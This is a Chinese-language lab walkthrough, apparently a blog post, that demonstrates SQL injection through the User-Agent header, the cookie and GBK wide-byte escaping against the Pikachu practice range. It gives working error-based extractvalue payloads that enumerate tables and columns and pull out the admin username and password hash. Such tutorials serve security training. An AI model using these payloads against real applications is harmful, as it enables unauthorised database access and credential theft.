这次我们改用pikachu靶场来演示
1. http header 和 cookie注入
HTTP头注入其实并不是一个新的SQL注入类型,而是指出现SQL注入漏洞的场景。有些时候,后台开发 人员为了验证客户端头信息(比如常用的cookie验证), 或者通过http header头信息获取客户端的一些 资料,比如useragent、accept字段等,会对客户端的http header信息进行获取并使用SQL进行处理, 如果此时没有足够的安全考虑则可能会导致基于http header的SQL注入漏洞。
我们先进入pikachu的 http header 来进行一下测试:
通过登录进去的信息,我们可以看到,它在前端给我们返回了user agent,那我们可以猜测,这个后端是不是对http header里面的数据进行了获取,应该也进 行了相关数据库的操作。
我们来看一下刚才的抓包,将它发送到repeater里面,将User-Agent删掉,自 己构造一个,还是按照之前的思路,先输入一个单引号:
前端给我们返回了报错信息,提示我们sql语法有错,那就可以确定存在sql注入
现在开始进行注入,此处利用报错注入的方法来注入,关于报错注入的内容可以查看之前的文章
(8条消息) DVWA之sql注入——联合注入和报错注入_梓桐sama的博客-CSDN博客
我们构造payload:
' or extractvalue(1,concat(0x7e,database())) or '
根据前端的回显结果,可知库名为pikachu
那接下来注入表数:
构造语句 ' or extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()))) or '
从前端的报错信息中可知有5张表
那现在就要开始爆表名了
构造 ' or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) or '
第一张表为httpinfo
' or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1))) or '
第二张表为member
以此方法分别注入
之后的三张表为:message,users,xssblind
users表中很有可能存放着用户信息,所以我们对users表中的字段进行注入
先注入其字段数
构造:' or extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) or '
可知有四个字段,那接下来就要注入其字段名:
构造:' or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))) or '
第一个字段为id
以此方法继续注入,可知后三个字段为:username,password,level
现在我们知道users表中有username和password字段,那我们需要注入出其具体信息
构造:' or extractvalue(1,concat(0x7e,(select username from users where id =1))) or '
注入出id=1的用户为admin
那还需要注入密码
' or extractvalue(1,concat(0x7e,(select password from users where id =1))) or '
注入出密码,但是被MD5加密了,我们可以尝试解密
可知用户admin对应的密码为123456
那我们其实还可以尝试能不能在别的地方再找到注入点,我们可以用cookie来试一下
我们在cookie信息中的admin后面添加一个单引号,前端回显语法错误,存在SQL注入
那是否可以注入出我们需要的信息呢
构造一个payload:admin' and extractvalue(1,concat(0x7e,database())) or '
注入出库名pikachu,说明利用cookie也是可以注入的
2.宽字节注入
宽字节概念 : 1.单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)。 2.多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字 节来表示。 3.宽字节注入时利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字。
宽字节注入原理
为了防止网站被SQL注入,一些网站开发人员会做一些防护措施,其中最常见的就是对一些特殊字符进行转义。通过前面的学习可以了解到,SQL注入非常关键的一步就是让引号闭合和跳出引号,无法跳出引号,那么输入的内容就永远在引号里,那么输入的东西永远就是字符串,很显然这不符合SQL注入的要求。网站开发者也想到了这一步,于是做个防护措施:转义,对输入的敏感内容、特殊字符进行转义。
addslashes()函数 1.addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。 2.预定义字符:单引号('),双引号("),反斜杠(\),NULL 通过前面的SQL注入实验可以发现,字符型的注入点我们都是用单引号来判断的,但是当遇到 addslashes()时,单引号会被转义,导致我们用来判断注入点的单引号失效。 所以我们的目的就是使转 义符 \ 失效、使单引号逃逸。
那么根据宽字节注入的原理可知,后端通过adds lashes()函数在我们构造的单引号前加入别的字符来转义,使得我们构造的sql语句失效。所以我们利用mysql的特性,在转义字符前再添加一个url编码的字符,这时mysql会将其识别为汉字。
下面我们来演示一下:
首先先来做一个正常的查询:
那我们尝试构造一个payload:kobe%df' or 1=1#
%df是用来结合转义字符的。
GBK 编码范围, GBK 编码表 (qqxiuzi.cn)
但是结果确没有注入成功
那我们用burp抓包看一下
从抓包内容来看,我们的%也被url编码了,所以导致我们原先构造的kobe%27变成了kobe
所以我们直接在burp中修改
注入成功
那现在我们就可以利用联合注入的方式来注入
注入出库名pikachu
下面过程不再演示,联合注入内容请查看(8条消息) DVWA之sql注入——联合注入和报错注入_梓桐sama的博客-CSDN博客